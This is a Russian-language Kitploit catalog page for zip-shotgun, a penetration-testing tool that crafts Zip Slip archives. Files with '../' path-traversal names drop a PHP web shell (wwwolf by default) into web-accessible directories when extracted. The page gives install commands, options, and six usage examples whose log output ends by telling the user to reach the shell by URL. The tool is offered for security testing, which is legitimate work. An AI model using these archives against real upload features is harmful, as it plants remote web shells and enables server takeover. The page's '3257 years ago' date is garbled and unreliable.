Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
zip-shotgun — Утилитарный скрипт для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip) | Kitploit
Инструменты/GitHubGitHub/jpiechowka/zip-shotgun
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатация веб-приложенийТестирование на Проникновение
GitHubjpiechowka/zip-shotgun

zip-shotgun

Утилитарный скрипт для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip)

Репозиторий
3257 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ZIP Shotgun

Утилита для тестирования функциональности загрузки zip-файлов (и возможного извлечения zip-файлов) на уязвимости (также известные как Zip Slip). Идея для этого скрипта взята из этой статьи в Silent Signal Techblog - Загрузка сжатого файла и выполнение команд и из OWASP - Тестирование загрузки вредоносных файлов

На Snyk.io есть отчёт о том, как это работает: Уязвимость Zip Slip и репозиторий GitHub с уязвимыми библиотеками на разных языках: Репозиторий Snyk.io Zip Slip на GitHub

Также есть отличное видео от LiveOverflow, проливающее свет на уязвимости Zip Slip и Zipperdown: Критические уязвимости .zip? - Zip Slip и ZipperDown

Этот скрипт создаёт архив, содержащий файлы с "../" в имени. При извлечении это может привести к тому, что файлы будут извлечены в родительские каталоги. Это может позволить атакующему разместить оболочки в каталогах, доступных через веб-браузер.

По умолчанию используется PHP-веб-оболочка wwwolf, и вся заслуга в этом принадлежит WhiteWinterWolf. Исходный код доступен ЗДЕСЬ

Установка

  1. Установка с помощью Python pip (требуется Python 3)

    pip3 install zip-shotgun --upgrade

  • Клонирование репозитория git и установка

    git clone https://github.com/jpiechowka/zip-shotgun.git

    Выполните из корневого каталога клонированного репозитория (где находится файл setup.py)

    pip3 install . --upgrade

  • Использование и опции

    root@kitploit:~
    Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
    
    Options:
      --version                       Показать версию и выйти.
      -c, --directories-count INTEGER
                                      Количество каталогов для возврата
                                      внутри zip-файла (например, 3 означает, что
                                      в zip будут добавлены 3 файла: shell.php,
                                      ../shell.php и ../../shell.php, где
                                      shell.php — это имя указанной вами оболочки
                                      или случайно сгенерированное значение)
                                      [по умолчанию: 16]
      -n, --shell-name TEXT           Имя оболочки внутри созданного zip-
                                      файла (например, shell). Если не указано, будет
                                      сгенерировано случайное. Не может содержать пробелы
      -f, --shell-file-path PATH      Файл, содержащий код оболочки. Если
                                      эта опция не указана, будет добавлена
                                      оболочка wwwolf
                                      (https://github.com/WhiteWinterWolf/wwwolf-
                                      php-webshell) . Если указано имя, оно
                                      будет добавлено в zip с указанным именем,
                                      или, если не указано, имя будет случайно
                                      сгенерировано.
      --compress                      Включить сжатие. Если этот флаг установлен,
                                      архив будет сжат с использованием алгоритма
                                      DEFLATE с уровнем сжатия 9. По умолчанию
                                      сжатие не применяется.
      -h, --help                      Показать это сообщение и выйти.
    

    Примеры

    1. Использование всех параметров по умолчанию

      zip-shotgun archive.zip

      Часть вывода скрипта

      root@kitploit:~
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: BCsQOkiN23ur7OUj
      12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Запись файла в архив: BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Запись файла в архив: ../BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Запись файла в архив: ../../BCsQOkiN23ur7OUj.php
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../BCsQOkiN23ur7OUj.php
      ...
      12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя BCsQOkiN23ur7OUj.php в URL
      
    2. Использование параметров по умолчанию и включение сжатия для архивного файла

      zip-shotgun --compress archive.zip

      Часть вывода скрипта

      root@kitploit:~
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: 6B6NtnZXbXSubDCh
      12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
      ...
      12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя 6B6NtnZXbXSubDCh.php в URL
      
    3. Использование параметров по умолчанию, но изменение количества каталогов для возврата в архиве на 3

      zip-shotgun --directories-count 3 archive.zip

      zip-shotgun -c 3 archive.zip

      Скрипт запишет в архив всего 3 файла

      Часть вывода скрипта

      root@kitploit:~
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: 34Bv9YoignMHgk2F
      12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Запись файла в архив: 34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: 34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Запись файла в архив: ../34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Запись файла в архив: ../../34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../34Bv9YoignMHgk2F.php
      12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя 34Bv9YoignMHgk2F.php в URL
      
    4. Использование параметров по умолчанию, но указание имени оболочки внутри архива и включение сжатия

      Имя оболочки не может содержать пробелы

      zip-shotgun --shell-name custom-name --compress archive.zip

      zip-shotgun -n custom-name --compress archive.zip

      Имя файлов оболочки внутри архива будет установлено в указанное пользователем.

      Часть вывода скрипта

      root@kitploit:~
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Файл оболочки не был указан. Используется код веб-оболочки wwwolf по умолчанию
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Используется расширение файла по умолчанию для веб-оболочки wwwolf: php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Запись файла в архив: custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Запись файла в архив: ../custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Запись файла в архив: ../../custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../custom-name.php
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Запись файла в архив: ../../../custom-name.php
      ...
      12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя custom-name.php в URL
      
    5. Указать собственный файл оболочки, но использовать случайное имя внутри архива. Установить количество каталогов на 3

      zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip

      zip-shotgun -c 3 -f ./custom-shell.php archive.zip

      Код оболочки будет взят из предоставленного пользователем файла. Имена внутри архива будут случайно сгенерированы.

      Часть вывода скрипта

      root@kitploit:~
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:21:37 +0100 |  WARNING | Имя оболочки не было указано. Сгенерировано случайное имя оболочки: gqXRAJu1LD8d8VKf
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Файл, содержащий код оболочки, был указан: REDACTED\zip-shotgun\custom-shell.php. Содержимое будет добавлено в архив
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Получение расширения файла из указанного файла оболочки для повторного использования: php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Открытие указанного файла с кодом оболочки: REDACTED\zip-shotgun\custom-shell.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Флаг --compress НЕ установлен. Архив будет несжатым. Файлы будут только сохранены.
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Запись файла в архив: gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Запись файла в архив: ../gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Запись файла в архив: ../../gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../gqXRAJu1LD8d8VKf.php
      12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя gqXRAJu1LD8d8VKf.php в URL
      
    6. Указать собственный файл оболочки, задать имя оболочки для сохранения внутри архива. Установить количество каталогов на 3 и использовать сжатие

      zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip

      zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip

      Код оболочки будет взят из предоставленного пользователем файла. Имена внутри архива будут установлены в указанное пользователем имя.

      Часть вывода скрипта

      root@kitploit:~
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Открытие выходного zip-файла: REDACTED\zip-shotgun\archive.zip
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Файл, содержащий код оболочки, был указан: REDACTED\zip-shotgun\custom-shell.php. Содержимое будет добавлено в архив
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Получение расширения файла из указанного файла оболочки для повторного использования: php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Открытие указанного файла с кодом оболочки: REDACTED\zip-shotgun\custom-shell.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Флаг --compress был установлен. Архив будет сжат с использованием алгоритма DEFLATE с уровнем 9
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Запись файла в архив: custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Запись файла в архив: ../custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Запись файла в архив: ../../custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Установка полных прав на чтение/запись/выполнение (chmod 777) для файла: ../../custom-name.php
      12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Готово. Попробуйте получить доступ к оболочке, используя custom-name.php в URL
      
    Скачать инструмент